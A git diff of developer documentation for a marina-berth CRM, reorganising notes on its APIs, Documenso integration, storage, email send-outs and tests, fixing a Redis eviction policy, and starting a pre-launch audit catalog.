-- **Public berths API:** `/api/public/berths` (list) and `/api/public/berths/[mooringNumber]` (single) are the public-facing data feed for the marketing website. Output shape mirrors the legacy NocoDB Berths shape verbatim (`"Mooring Number"`, `"Side Pontoon"`, etc.) — see `src/lib/services/public-berths.ts`. Cache headers: `s-maxage=300, stale-while-revalidate=60`. Status mapping: `"Sold"` (berth.status=sold) > `"Under Offer"` (status=under_offer OR has any active `interest_berths.is_specific_interest=true` link with `interests.outcome IS NULL`) > `"Available"`. The companion `/api/public/health` endpoint is dual-mode: anonymous callers get `{status, timestamp}` (uptime monitors, never 503); requests carrying a timing-safe-matched `X-Intake-Secret` (compared against `WEBSITE_INTAKE_SECRET`) get the full `{status, env, appUrl, timestamp, checks: {db, redis}}` payload and a 503 if any dependency is down. The website uses the authenticated form on startup so it refuses to start when its `CRM_PUBLIC_URL` points at a different deployment env.
-- **Berth recommender:** Pure SQL ranking (no AI). Lives in `src/lib/services/berth-recommender.service.ts`. Tier ladder A/B/C/D classifies each feasible berth based on its `interest_berths` aggregates. Heat scoring (recency / furthest stage / interest count / EOI count) only fires for tier B (lost/cancelled-only history); per-port admin tunes weights via `system_settings` keys (`heat_weight_*`, `recommender_max_oversize_pct`, `recommender_top_n_default`, `fallthrough_policy`, `fallthrough_cooldown_days`, `tier_ladder_hide_late_stage`). The recommender enforces multi-port isolation both at the entry point (rejects cross-port interest lookups) AND inside the SQL aggregates CTE (defense-in-depth `i.port_id` filter).
-- **Berth rules engine:** Per-port `system_settings` rules in `src/lib/services/berth-rules-engine.ts`. Seven triggers, all wired: `eoi_sent`, `eoi_signed`, `deposit_received` (invoices.ts), `contract_signed` (documents.service.ts), `interest_archived` / `interest_completed` (interests.service.ts), `berth_unlinked` (interest-berths.service.ts). Service callers fire `evaluateRule(trigger, interestId, portId, meta)` via dynamic import to avoid circular deps. Default modes vary (`auto` for state changes, `suggest` for recommendations, `off` for `berth_unlinked`); admins tune via `berth_rules` system_settings key. Webhook auto-advance pairs the rule with `advanceStageIfBehind` so the pipeline stage and berth status move together.
-- **EOI bundle / range formatter:** Multi-berth EOIs render the in-bundle berth set as a compact range string ("A1-A3, B5-B7") via `formatBerthRange()` in `src/lib/templates/berth-range.ts`. The output populates the existing `Berth Number` Documenso form field (single-berth output is byte-identical to the primary mooring, multi-berth shows the full range). CRM UI always shows berths as individual chips. The `{{eoi.berthRange}}` token is in `VALID_MERGE_TOKENS` for template body copy.
-- **Pluggable storage backend:** Code never imports MinIO/S3 directly. All file I/O goes through `getStorageBackend()` from `src/lib/storage/`. The `StorageBackend` interface requires `put`, `get`, `head`, `delete`, `listByPrefix`, `presignUpload`, `presignDownload` — any new backend must implement all seven. Configured via `system_settings.storage_backend` ('s3' | 'filesystem'). Switching backends is a settings change + `pnpm tsx scripts/migrate-storage.ts` run (the migrator round-trips every blob in `files`, `berth_pdf_versions`, `brochure_versions`, `gdpr_exports` and verifies SHA-256 — `TABLES_WITH_STORAGE_KEYS` populated in 9a5ba87; was no-op before). MinIO ops are wrapped in a 30s `withTimeout` to prevent TCP-blackhole worker stalls. **Filesystem backend is single-node only**: refuses to start when `MULTI_NODE_DEPLOYMENT=true`. Multi-node deployments must use the s3-compatible backend.
-- **Per-berth PDFs:** Versioned via `berth_pdf_versions`; `berths.current_pdf_version_id` always points to the latest active version. Storage key is UUID-based per upload (not version-numbered) so concurrent uploads can't collide on blob paths; `pg_advisory_xact_lock` per berth_id serializes the version-number allocation. 3-tier parser: AcroForm → OCR (Tesseract.js with positional heuristics) → optional AI (rep clicks "AI parse" only when OCR confidence is low). Magic-byte (`%PDF-`) check enforced on BOTH the in-server upload path AND the presigned-PUT path (the post-upload service streams the first 5 bytes via the storage backend). Mooring-number mismatch between PDF and target berth surfaces as a service-level `ConflictError` unless the apply call passes `confirmMooringMismatch: true`.
-- **Brochures:** Per-port; default brochure marked via `is_default` (enforced by partial unique index on `(port_id) WHERE is_default=true AND archived_at IS NULL`). Archived brochures retain version history. Same upload flow as berth PDFs (presign + magic-byte verification on the post-upload register endpoint).
-- **Send-from accounts (sales send-outs):** Configurable via `system_settings`; defaults to `sales@portnimara.com` for human-touch and `noreply@portnimara.com` for automation. SMTP/IMAP passwords are AES-256-GCM encrypted at rest; the API never returns decrypted secrets — only `*PassIsSet` boolean markers. Send-out audit goes to `document_sends` (separate from `audit_logs` because of volume + binary refs). Body markdown is XSS-safe via `renderEmailBody()` (escape-then-allowlist; tested against the standard XSS vector list). Rate limit: 50 sends/user/hour individual. Pre-send size threshold: files > `email_attach_threshold_mb` ship as a 24h signed-URL link rather than an attachment (avoids the duplicate-send race from async bounces). The download-link fallback HTML-escapes the filename to prevent injection from admin-supplied brochure names. Bounce monitoring requires IMAP credentials in addition to SMTP — without them, the size-rejection banner stays disabled.
-- **NocoDB berth import:** `pnpm tsx scripts/import-berths-from-nocodb.ts --apply --port-slug port-nimara` re-imports from the legacy NocoDB Berths table. Idempotent: rows where `updated_at > last_imported_at` (the "human edited this since last import" guard) are skipped unless `--force`. Adds `--update-snapshot` to also rewrite `src/lib/db/seed-data/berths.json`. Uses `pg_advisory_xact_lock` so two simultaneous runs serialize. Pure helpers in `src/lib/services/berth-import.ts` are unit-tested.
+- **Polymorphic ownership:** Yachts and invoice billing-entities use `<entity>_type` + `<entity>_id` pairs (`'client' | 'company'`). Resolve via `src/lib/services/yachts.service.ts` / `eoi-context.ts` — never read the columns ad hoc.
+- **Multi-berth interest model:** `interest_berths` is the source of truth — `interests.berth_id` does not exist (dropped in 0029). Three flags: `is_primary` (≤1 per interest, partial unique index — "the berth for this deal"), `is_specific_interest` (true → public map shows "Under Offer"), `is_in_eoi_bundle` (covered by EOI signature). Read/write only via `src/lib/services/interest-berths.service.ts` helpers.
+- **Notes (polymorphic):** `notes.service.ts` dispatches across `clientNotes`/`interestNotes`/`yachtNotes`/`companyNotes` via an `entityType` discriminator. `<NotesList entityType="…" />` works for all four. `companyNotes` lacks `updatedAt` — service substitutes `createdAt` for shape uniformity.
+- **Mooring number canonical format:** `^[A-Z]+\d+$` (e.g. `A1`, `B12`, `E18`) — no hyphen, no leading zeros. Stored, displayed, URL-encoded, EOI-rendered in this exact form. Regex gates the public `/api/public/berths/[mooringNumber]` route before any DB hit.
 - **Routes:** Multi-tenant via `[portSlug]` dynamic segment. Typed routes enabled.
-- **API response shapes:** Conventional envelope is `{ data: <T> }` for any endpoint that returns content (read OR write). Mutations that return nothing emit `204 No Content` (`new NextResponse(null, { status: 204 })`). Don't use `{ success: true }` for CRM mutations — it was a legacy pattern, normalized away in 2026-05-07. Public portal-auth endpoints are an exception: they return `{ success: true }` because the frontend needs a non-error JSON body to chain on. List/paginated reads return `{ data: <T[]>, total?, hasMore? }` (see `/api/v1/clients` for the shape). Errors always go through `errorResponse(error)` from `@/lib/errors` so request-id propagation and the audit-tier mapping stay uniform.
-- **Body parsing:** Always use `parseBody(req, schema)` from `@/lib/api/route-helpers` instead of `await req.json(); schema.parse(body)`. The helper returns a uniform 400 with field-level errors that the frontend's `toastError` hook recognizes; raw `req.json` + `schema.parse` produces a generic 500 because the ZodError isn't caught in the same shape.
-- **Pre-commit:** Husky + lint-staged runs ESLint fix + Prettier on staged `.ts`/`.tsx` files. The hook also blocks `.env*` files (including `.env.example`) from being committed; pass them via a separate workflow if needed.
 
-## Schema migrations during dev
+### Schema migrations during dev
 
-When you run a `db:push` or apply a migration via `psql` against a running dev server, **restart the dev server afterwards**. Drizzle/postgres.js keeps connection-level prepared statements that can hold stale column lists; a stale pool causes `column X does not exist` errors on pages that touch the migrated table even though the column is present in the DB. Symptom: pages return 500 with `errorMissingColumn`/`42703` after a successful migration. Fix: kill `next dev` and restart it.
+After `db:push` or applying a migration via `psql` against a running dev server, **restart `next dev`**. Drizzle/postgres.js prepared statements cache stale column lists; symptom is `42703 column X does not exist` 500s on migrated tables.
+
+### Documenso
+
+- **Webhooks:** plaintext secret in `X-Documenso-Secret` (no HMAC) — timing-safe equality via `verifyDocumensoSecret`. Event names arrive uppercase-enum (`DOCUMENT_SIGNED`, `DOCUMENT_COMPLETED` …); the receiver also normalizes lowercase-dotted for forward-compat. `handleDocumentCompleted` is **idempotent** (early-return when `status='completed' && signedFileId`) so 5xx retries don't double-write. Switch handles SIGNED|COMPLETED|REJECTED|DECLINED|OPENED|EXPIRED + v2 aliases RECIPIENT_VIEWED/SIGNED. Detail: `docs/documenso-integration-audit.md`.
+- **v1 vs v2 routing:** `getPortDocumensoConfig(portId)` resolves per-port `apiVersion`. `documenso-client.ts` exports version-aware wrappers (`getDocument`, `createDocument`, `sendDocument`, `sendReminder`, `downloadSignedPdf`, `voidDocument`, `placeFields`). v2 → `/api/v2/envelope/*` (multipart create, `distribute` returns per-recipient signingUrl, `redistribute` for reminders, `field/create-many` for bulk placement). v1 → `/api/v1/documents/*`. **Template flow stays v1** (`/api/v1/templates/{id}/generate-document` with name-keyed `formValues`) — v2 instances accept via backcompat. v2-only settings honoured: `documenso_signing_order` (PARALLEL/SEQUENTIAL) + `documenso_redirect_url`.
+- **Response normalization:** 2.x uses `documentId` / `recipientId`; v1.13 uses `id`. `normalizeDocument()` surfaces the legacy `id` form to downstream consumers.
+- **`DOCUMENSO_API_URL`:** bare host only — never include `/api/v1`. Client appends versioned paths based on `DOCUMENSO_API_VERSION`. Double-pathing returns 404 with no useful diagnostic.
+
+### EOI generation
+
+- Two pathways share `EoiContext` (`src/lib/services/eoi-context.ts`). Documenso pathway uses `documenso-payload.ts` → template-generate endpoint; in-app pathway fills `assets/eoi-template.pdf` via `src/lib/pdf/fill-eoi-form.ts`. Routed through `generateAndSign(...)` in `document-templates.ts` with a `pathway` parameter.
+- **Merge fields:** Catalog in `src/lib/templates/merge-fields.ts`; `createTemplateSchema` uses `VALID_MERGE_TOKENS` as an allow-list, rejecting unknown tokens at template creation.
+- **Berth range formatter:** Multi-berth EOIs render the in-bundle berth set as a compact range ("A1-A3, B5-B7") via `formatBerthRange()` (`src/lib/templates/berth-range.ts`). Output populates the existing `Berth Number` Documenso field (single-berth = primary mooring verbatim; multi-berth = range). CRM UI always shows berths as chips. `{{eoi.berthRange}}` token available for template body copy.
+- Detail: `docs/eoi-documenso-field-mapping.md`, `assets/README.md`.
+
+### UI patterns
+
+- **Sheet vs Drawer:** `<Sheet side="right">` (`src/components/ui/sheet.tsx`, Radix dialog) is the canonical side-panel for both desktop and mobile (`w-3/4 sm:max-w-sm`). Vaul `<Drawer>` (`src/components/shared/drawer.tsx`) is mobile-bottom-sheet only — currently just `MoreSheet`. Need a side panel? Use Sheet. Don't add Vaul without a mobile-bottom-sheet justification.
+- **Inline editing:** Detail pages use `<InlineEditableField>` for text/select/textarea and `<InlineTagEditor>` for tag chips. Each entity exposes `PUT /api/v1/<entity>/[id]/tags` backed by a `set<Entity>Tags` service helper (single-transaction wipe-and-rewrite). No separate "Edit" modals — overview tab is editable in place.
+- **Email + auth surfaces:** Branded HTML in `src/lib/email/templates/`; portal-auth uses `portal-auth.ts`. All templates: table-based, max-width 600, logo + blurred overhead background (`s3.portnimara.com`). CRM `/login`, `/reset-password`, `/set-password` and portal `/portal/login`, `/portal/activate`, `/portal/reset-password` all wrap content in `<BrandedAuthShell>` for visual continuity.
+
+### Document folders
+
+- Per-port nestable tree (`document_folders.parent_id` self-FK; null parent = root). Documents and files carry nullable `folder_id`. Sibling-name uniqueness via `uniq_document_folders_sibling_name` on `(port_id, COALESCE(parent_id,'__root__'), LOWER(name))`. Folder delete is **soft rescue** (`deleteFolderSoftRescue`) — re-parents children up, drops folder; never CASCADE. `moveFolder` walks ancestor chain to prevent cycles.
+- Three system roots (`Clients/`, `Companies/`, `Yachts/`) auto-created via `ensureSystemRoots`. Entity subfolders are lazy via `ensureEntityFolder` — race-safe via partial unique index `uniq_document_folders_entity` on `(port_id, entity_type, entity_id) WHERE entity_id IS NOT NULL`. System rows mutated only by entity rename/archive/hard-delete (auto-sync via service helpers); `assertNotSystemManaged` rejects direct API mutation.
+- **Auto-deposit on signing completion:** `handleDocumentCompleted` resolves owner via the Owner-wins chain (`document.clientId ?? .companyId ?? .yachtId ?? interest.clientId`), ensures the entity folder, and sets `files.folder_id` + entity FK. Falls back to root when unresolvable.
+- **Aggregated projection:** `listFilesAggregatedByEntity` / `listInflightWorkflowsAggregatedByEntity` walk symmetric reach (Client ↔ Company via `company_memberships` active rows, ↔ Yacht via `yachts.current_owner_type/id`), group by source (DIRECTLY ATTACHED / FROM COMPANY / FROM YACHT / FROM CLIENT), cap 20 per group. **Defense-in-depth `port_id` at every join.** **File-FK snapshot is source of truth** — historical files stay filed even if relationships change.
+- Permission gating: `documents.view` reads; `documents.manage_folders` for create/rename/move/delete (system folders immutable via API).
+- Deploy: migration `0051_documents_hub_split.sql` + `pnpm db:backfill:doc-folders` (idempotent via per-port advisory lock).
+
+### Berths
+
+- **Public API:** `/api/public/berths` (list) + `/api/public/berths/[mooringNumber]` (single) feed the marketing site. Output mirrors legacy NocoDB shape verbatim. Status precedence: `"Sold"` > `"Under Offer"` (status OR active `is_specific_interest=true` link with open outcome) > `"Available"`. Cache `s-maxage=300, stale-while-revalidate=60`.
+- **Public health:** `/api/public/health` dual-mode — anonymous gets `{status, timestamp}` (never 503); requests with timing-safe `X-Intake-Secret` matching `WEBSITE_INTAKE_SECRET` get full `{checks: {db, redis}}` + 503 on failure. The website uses the authenticated form on startup so it refuses to start when pointed at the wrong env.
+- **Recommender:** Pure SQL (no AI). `src/lib/services/berth-recommender.service.ts`. Tier ladder A/B/C/D from `interest_berths` aggregates. Heat scoring fires only for tier B; weights tuned via `system_settings` (`heat_weight_*`, `recommender_*`, `fallthrough_*`, `tier_ladder_hide_late_stage`). Multi-port isolation enforced at entry point AND in the SQL aggregates CTE.
+- **Rules engine:** `src/lib/services/berth-rules-engine.ts`. Seven triggers, all wired: `eoi_sent`, `eoi_signed`, `deposit_received`, `contract_signed`, `interest_archived`, `interest_completed`, `berth_unlinked`. Callers fire `evaluateRule(...)` via dynamic import (circular-dep avoidance). Defaults vary; admins tune via `berth_rules` setting. Pairs with `advanceStageIfBehind` to keep pipeline stage in sync.
+- **Per-berth PDFs:** Versioned via `berth_pdf_versions`; `berths.current_pdf_version_id` is current. Storage key is UUID per upload (no collisions on concurrent uploads); `pg_advisory_xact_lock` per berth_id serializes version-number allocation. 3-tier parse: AcroForm → OCR (Tesseract.js) → optional AI on low confidence. Magic-byte (`%PDF-`) check on BOTH in-server and presigned-PUT paths. Mooring mismatch → service-level `ConflictError` unless `confirmMooringMismatch: true`.
+- **Brochures:** Per-port, `is_default` enforced by partial unique index `(port_id) WHERE is_default=true AND archived_at IS NULL`. Same upload flow as berth PDFs.
+- **NocoDB re-import:** `pnpm tsx scripts/import-berths-from-nocodb.ts --apply --port-slug port-nimara`. Idempotent (skips rows where `updated_at > last_imported_at` unless `--force`); add `--update-snapshot` to rewrite the seed JSON. Helpers in `src/lib/services/berth-import.ts` are unit-tested.
+- Plan-of-record: `docs/berth-recommender-and-pdf-plan.md`.
+
+### Storage
+
+- All file I/O through `getStorageBackend()` (`src/lib/storage/`). Interface: `put`, `get`, `head`, `delete`, `listByPrefix`, `presignUpload`, `presignDownload`. Selected via `system_settings.storage_backend` (`'s3' | 'filesystem'`). Switching backends = settings change + `pnpm tsx scripts/migrate-storage.ts` (round-trips every blob in `files`, `berth_pdf_versions`, `brochure_versions`, `gdpr_exports`, verifies SHA-256).
+- MinIO calls wrapped in 30s `withTimeout` to prevent TCP-blackhole stalls. **Filesystem backend is single-node only** — refuses to start when `MULTI_NODE_DEPLOYMENT=true`.
+
+### Send-from accounts (sales send-outs)
+
+- Configurable via `system_settings`; defaults to `sales@portnimara.com` (human) + `noreply@portnimara.com` (automation). SMTP/IMAP passwords AES-256-GCM at rest; API returns only `*PassIsSet` markers.
+- Audit → `document_sends` (separate from `audit_logs` for volume + binary refs). Body markdown rendered via `renderEmailBody()` (escape-then-allowlist; XSS-tested). Rate limit 50 sends/user/hour. Files > `email_attach_threshold_mb` ship as 24h signed-URL link (filename HTML-escaped against injection). The threshold banner in the compose UI is informational and shows whenever the preview API returns the per-port threshold — it does NOT depend on IMAP. Separately, bounce monitoring (`imap-bounce-poller.ts`) needs IMAP creds and no-ops cleanly when they're unset.
+
+### Pre-commit
+
+Husky + lint-staged runs ESLint fix + Prettier on staged `.ts`/`.tsx`. **Blocks all `.env*` files** (including `.env.example`) — pass them via a separate workflow if needed.
 
 ## Environment
 
-Copy `.env.example` to `.env` for local dev. See `src/lib/env.ts` for the full schema. Set `SKIP_ENV_VALIDATION=1` to bypass validation (used in Docker build).
+Copy `.env.example` to `.env`. See `src/lib/env.ts` for the full Zod schema. `SKIP_ENV_VALIDATION=1` bypasses validation (Docker build).
 
-Required env gotchas:
+Dev/test-only env (not in `.env.example`):
 
-- `DOCUMENSO_API_URL` — **bare host only**, never include `/api/v1`. The client appends versioned paths based on `DOCUMENSO_API_VERSION` (`v1` for 1.13.x, `v2` for 2.x). A double-pathed URL returns 404 on every call with no useful diagnostic.
-
-Optional dev/test-only env vars (not in `.env.example`):
-
-- `EMAIL_REDIRECT_TO=<address>` — when set, every outbound email is rerouted to this address regardless of the requested recipient and the subject is prefixed with `[redirected from <original>]`. Dev safety net so seeded fake-client emails don't escape; **must be unset in production**.
-- `IMAP_HOST` / `IMAP_PORT` / `IMAP_USER` / `IMAP_PASS` — read by `tests/e2e/realapi/portal-imap-activation.spec.ts` to fetch the activation email from a real mailbox during the IMAP round-trip test. The spec skips when any are missing.
+- `EMAIL_REDIRECT_TO=<address>` — reroutes every outbound email to this address, prefixes subject `[redirected from <original>]`. Dev safety net; **must be unset in production**.
+- `IMAP_HOST` / `IMAP_PORT` / `IMAP_USER` / `IMAP_PASS` — used by `tests/e2e/realapi/portal-imap-activation.spec.ts`; the spec skips when any are missing.
 
 ## Testing
 
-Five Playwright projects, defined in `playwright.config.ts`:
+Six Playwright projects (`playwright.config.ts`):
 
-- `setup` — global setup (seeds users, port, berths, system settings).
-- `smoke` — fast click-through over every major flow. Run on every change (~10 min, 125 specs).
-- `exhaustive` — deeper UI coverage that takes longer.
-- `destructive` — archive/delete/cancel paths against throwaway entities.
-- `realapi` — opt-in suite that hits real external services (Documenso send-side + IMAP round-trip). Requires `DOCUMENSO_API_*`, `SMTP_*`, `IMAP_*` env. Cloudflared tunnel needs to be running so Documenso can call the local webhook receiver.
-- `visual` — pixel-diff baselines for stable list/landing pages. Snapshots committed under `tests/e2e/visual/snapshots.spec.ts-snapshots/`. Regenerate with `--update-snapshots` after intentional UI changes.
+- `setup` — global setup (seeds users, port, berths, system settings)
+- `smoke` — fast click-through, run on every change (~10 min, 125 specs)
+- `exhaustive` — deeper UI coverage
+- `destructive` — archive/delete/cancel paths against throwaway entities
+- `realapi` — opt-in real Documenso send-side + IMAP round-trip. Needs `DOCUMENSO_API_*`, `SMTP_*`, `IMAP_*` env + cloudflared tunnel running for the local webhook receiver
+- `visual` — pixel-diff baselines (`tests/e2e/visual/snapshots.spec.ts-snapshots/`); regenerate with `--update-snapshots`
 
-Vitest covers unit + integration with mocked external services (`tests/unit/`, `tests/integration/`).
+Vitest covers unit + integration with mocked externals (`tests/unit/`, `tests/integration/`).
 
 ## Docker
 
-- `Dockerfile` - Production multi-stage build (deps -> build -> runner)
-- `Dockerfile.dev` - Dev with bind-mounted source
-- `Dockerfile.worker` - BullMQ worker process
-- `docker-compose.yml` / `docker-compose.dev.yml` / `docker-compose.prod.yml`
+- `Dockerfile` — production multi-stage (deps → build → runner)
+- `Dockerfile.dev` — dev with bind-mounted source
+- `Dockerfile.worker` — BullMQ worker process
+- `docker-compose.yml` / `.dev.yml` / `.prod.yml`
 
 ## Architecture docs
 
-Numbered spec files in repo root (`01-CONSOLIDATED-SYSTEM-SPEC.md` through `15-DESIGN-TOKENS.md`) contain detailed architecture decisions, feature specs, DB schema docs, API catalog, and implementation sequence.
+Numbered specs (`01-CONSOLIDATED-SYSTEM-SPEC.md` … `15-DESIGN-TOKENS.md`) in repo root carry the detailed architecture decisions, schema docs, API catalog, and sequence.
 
-Domain-specific references:
+### Beta-phase tracker (read this first)
 
-- `docs/eoi-documenso-field-mapping.md` — canonical mapping from `EoiContext`
-  paths to the Documenso template's `formValues` keys, with the matching
-  AcroForm field names used by the in-app pathway. The `Berth Number`
-  field carries the `formatBerthRange()` output — single-berth EOIs
-  populate it with just the primary mooring (e.g. `A1`), multi-berth
-  EOIs with the compact range (`A1-A3, B5`). No separate `Berth Range`
-  template field is needed (the dedicated field was retired 2026-05-14).
-- `assets/README.md` — what the in-app EOI source PDF must contain and how
-  to override its path in dev/test.
-- `docs/berth-recommender-and-pdf-plan.md` — the comprehensive plan for the
-  Phase 0–8 berth-recommender + PDF + send-outs work bundle. Single source
-  of truth for the multi-berth interest model, recommender tier ladder,
-  pluggable storage, per-berth PDF parser, and sales send-out flows.
+We are in pre-launch beta. **`docs/launch-readiness.md` is the canonical
+home for every outstanding initiative we need to ship before
+production cutover.** Read it at the start of any non-trivial task to
+see what's in flight, what's blocked, and what's been deferred. Append
+new launch-blocking items there (status tags: `OPEN | IN PROGRESS |
+SHIPPED in <hash> | BLOCKED | DEFERRED`) — do NOT create a new
+parallel audit doc. Companion files:
+
+- `docs/launch-readiness.md` — the master pre-launch tracker (5+
+  initiatives: reports overhaul, marketing pipeline cutover, invoicing
+  audit, codebase + security audit, website integration, e2e testing,
+  data migration)
+- `docs/reports-content-spec.md` — working spec for the reports
+  initiative (per-category KPIs / charts / tables); referenced by
+  `launch-readiness.md` Initiative 1
+- `docs/superpowers/audits/active-uat.md` — live UAT findings the user
+  surfaces in chat; persists across sessions until explicit wrap
+- `docs/BACKLOG.md` — long-tail backlog index (post-launch and
+  general)
+
+### Domain reference docs
+
+- `docs/berth-recommender-and-pdf-plan.md` — berths + PDF + send-outs bundle
+- `docs/eoi-documenso-field-mapping.md` — canonical EoiContext ↔ Documenso/AcroForm mapping
+- `docs/documenso-integration-audit.md` — full Documenso v1/v2 quirks reference
+- `assets/README.md` — in-app EOI source PDF requirements

assets/README.md

@@ -67,3 +67,23 @@ exact bytes:
 1. In Documenso, open the EOI template.
 2. Download the source PDF.
 3. Drop it here as `eoi-template.pdf`.
+
+### Known asset issue: Email field clipped at top
+
+The current `eoi-template.pdf` has the `Email` AcroForm field box positioned
+slightly too low — long email addresses render with the top pixel row
+clipped. **Fix is asset-side, not code-side**: pdf-lib only fills field
+boxes, it can't move them. To resolve:
+
+1. Open `eoi-template.pdf` in any PDF form editor (Acrobat, PDFescape,
+   PDF Studio, or Documenso's own template editor).
+2. Select the `Email` field box; nudge its `y` origin down by ~3 pt (or
+   increase its height by ~3 pt) so the rendered text has visual margin
+   from the top edge.
+3. Save → re-upload to Documenso (so both pathways stay in sync) →
+   bump the sha256 in this README + `EXPECTED_EOI_SHA256` per the steps
+   above.
+
+Affects both the in-app pathway (renders via pdf-lib AcroForm fill) and
+the Documenso pathway (Documenso's own renderer respects the same field
+geometry).

docker-compose.prod.yml

@@ -32,7 +32,9 @@ services:
 
   redis:
     image: redis:7-alpine
-    command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 256mb --maxmemory-policy allkeys-lru
+    # BullMQ requires `noeviction` — under memory pressure, allkeys-lru
+    # silently drops queue keys and jobs disappear. See post-audit fix F4.
+    command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 256mb --maxmemory-policy noeviction
     volumes:
       - redisdata:/data
     healthcheck:

docker-compose.yml

@@ -18,7 +18,9 @@ services:
 
   redis:
     image: redis:7-alpine
-    command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 256mb --maxmemory-policy allkeys-lru
+    # BullMQ requires `noeviction` — under memory pressure, allkeys-lru
+    # silently drops queue keys and jobs disappear. See post-audit fix F4.
+    command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 256mb --maxmemory-policy noeviction
     volumes:
       - redisdata:/data
     healthcheck:

docs/AUDIT-CATALOG.md

@@ -0,0 +1,733 @@
+# Comprehensive Audit Catalog — 2026-05-15
+
+Every audit-worthy surface in Port Nimara CRM, organized by area. Each entry is a discrete check we _could_ run. Pick the subset you want to actually execute.
+
+**Legend:**
+
+- **Effort:** XS (~minutes) · S (~30 min) · M (~half day) · L (~1+ day)
+- **Severity if broken:** 🔴 critical · 🟠 high · 🟡 medium · 🟢 cosmetic
+- **Coverage today:** ✅ confirmed working · ⚠️ partially checked · ❓ unchecked · ❌ known broken (see prior audits)
+
+---
+
+## 0. Already-known issues (cross-reference)
+
+These were caught in the 2026-05-15 sweep (`docs/audit-2026-05-15.md`) but listed here so we don't re-discover them:
+
+| ID    | Issue                                                                      | Status                |
+| ----- | -------------------------------------------------------------------------- | --------------------- |
+| A1    | Dashboard activity feed surfaces raw `permission_denied` rows, no label    | ❌ unfixed            |
+| A2    | Activity feed renders legacy 9-stage enum values (`deposit_10pct` etc.)    | ❌ unfixed            |
+| A3    | react-grab CSP error spam in dev                                           | ❌ unfixed (dev only) |
+| A4    | New Client form silently rejects when contact row has empty value          | ❌ unfixed            |
+| A5    | Socket.IO WebSocket never connects in `pnpm dev`                           | ❌ unfixed            |
+| A6    | Some DialogContent missing `aria-describedby`                              | ❌ unfixed            |
+| A8    | Legacy `statusOverrideMode = "auto"` values still in DB                    | ❌ unfixed            |
+| A9    | Catch-up wizard defaults to "New Enquiry" instead of "EOI" for under_offer | ❌ unfixed            |
+| A16   | File upload at documents-hub root fails with null vs string validator      | ❌ unfixed            |
+| A17   | `/api/v1/admin/ports` is super-admin-only but used as bootstrap resolver   | ❌ unfixed            |
+| A18   | 404 vs 403 inconsistency on permission denials                             | ❌ unfixed            |
+| A19   | F27 same-stage PATCH returns 200 + body instead of 204                     | ❌ unfixed            |
+| A20   | OwnerPicker Client/Company toggle hidden until popover opens               | ❌ unfixed            |
+| A19_b | Portal `/portal/login` shows "unavailable" — scope undefined               | ❌ unfixed            |
+
+---
+
+## 1. Legacy stage enum bleed (the `deposit_10pct` class of bug)
+
+**Why this matters:** the pipeline was refactored 9 stages → 7 stages but historical data still carries the old enum values in audit logs, soft-deleted rows, and possibly some hard-coded UI lookups. Every place that renders a stage value should map legacy → modern.
+
+| ID    | Check                                                                                                                                                                                                         | Effort | Severity | Coverage |
+| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
+| L-001 | Grep entire `src/` for hard-coded references to legacy stage names: `details_sent`, `in_communication`, `eoi_sent`, `eoi_signed`, `deposit_10pct`, `contract_sent`, `contract_signed`, `completed` (as stage) | S      | 🟠       | ❓       |
+| L-002 | Audit log diff display: does old `pipelineStage` value get human-friendly mapping?                                                                                                                            | S      | 🟡       | ❌ (A2)  |
+| L-003 | Activity feed labels: same mapping needed                                                                                                                                                                     | S      | 🟡       | ❌ (A2)  |
+| L-004 | Email templates: any merge token surfacing raw stage values?                                                                                                                                                  | XS     | 🟡       | ❓       |
+| L-005 | Documenso payload (`buildDocumensoPayload`): any stage references?                                                                                                                                            | XS     | 🟠       | ❓       |
+| L-006 | Public berths API: is `status` filter accepting any legacy values?                                                                                                                                            | XS     | 🟡       | ❓       |
+| L-007 | Webhook payloads: do outbound `interest.updated` events use 7-stage or legacy?                                                                                                                                | S      | 🟠       | ❓       |
+| L-008 | Reports / analytics SQL: are funnel rollups using 7-stage enum exclusively?                                                                                                                                   | M      | 🟠       | ❓       |
+| L-009 | Search FTS indexes: do they include the mapped human stage or the raw enum?                                                                                                                                   | S      | 🟡       | ❓       |
+| L-010 | Notification copy: does "Stage moved to X" use the mapped label?                                                                                                                                              | XS     | 🟢       | ❓       |
+| L-011 | CSV import templates / column mappers: does anyone still accept legacy stage names?                                                                                                                           | XS     | 🟢       | ❓       |
+| L-012 | Seed data: confirm no legacy stages in current seed (was migrated in `seed-synthetic-data.ts`)                                                                                                                | XS     | 🟢       | ✅       |
+| L-013 | Migration safety: would a re-import via NocoDB re-introduce legacy values?                                                                                                                                    | S      | 🟠       | ❓       |
+| L-014 | Status override mode: legacy `"auto"` value (see A8) — same class of bug                                                                                                                                      | XS     | 🟢       | ❌ (A8)  |
+| L-015 | Outcome enum: confirm `won` / `lost_*` are the only modern values; no legacy `completed` outcome anywhere                                                                                                     | S      | 🟡       | ❓       |
+| L-016 | Lead category enum: any legacy values?                                                                                                                                                                        | XS     | 🟢       | ❓       |
+| L-017 | Lead source enum: ditto                                                                                                                                                                                       | XS     | 🟢       | ❓       |
+| L-018 | Tenure type enum: ditto                                                                                                                                                                                       | XS     | 🟢       | ❓       |
+| L-019 | Document doc-status sub-states: `sent`, `signed`, `completed`, `expired`, `rejected` — are they consistently applied?                                                                                         | S      | 🟡       | ❓       |
+| L-020 | Reservation/contract status enum: any legacy / deprecated values lingering?                                                                                                                                   | S      | 🟡       | ❓       |
+
+---
+
+## 2. Routes — every page reachable and correct
+
+| ID    | Check                                                                                                       | Effort | Severity | Coverage            |
+| ----- | ----------------------------------------------------------------------------------------------------------- | ------ | -------- | ------------------- |
+| R-001 | All `/[portSlug]/*` routes return 200 for super-admin (sweep)                                               | S      | 🟠       | ⚠️ admin only       |
+| R-002 | All `/[portSlug]/*` routes return 200 or proper 403/redirect for sales-agent                                | S      | 🟠       | ⚠️ partial          |
+| R-003 | All `/[portSlug]/*` routes for viewer                                                                       | S      | 🟡       | ❓                  |
+| R-004 | Cross-port URL access: paste `/port-amador/clients/<port-nimara-uuid>` → expects 404, not silent            | XS     | 🟠       | ✅ (F17)            |
+| R-005 | Archived entity detail page: 404 with "Restored?" affordance                                                | XS     | 🟡       | ❓                  |
+| R-006 | Soft-deleted folder URL: expects 404 / fallback to parent                                                   | XS     | 🟡       | ❓                  |
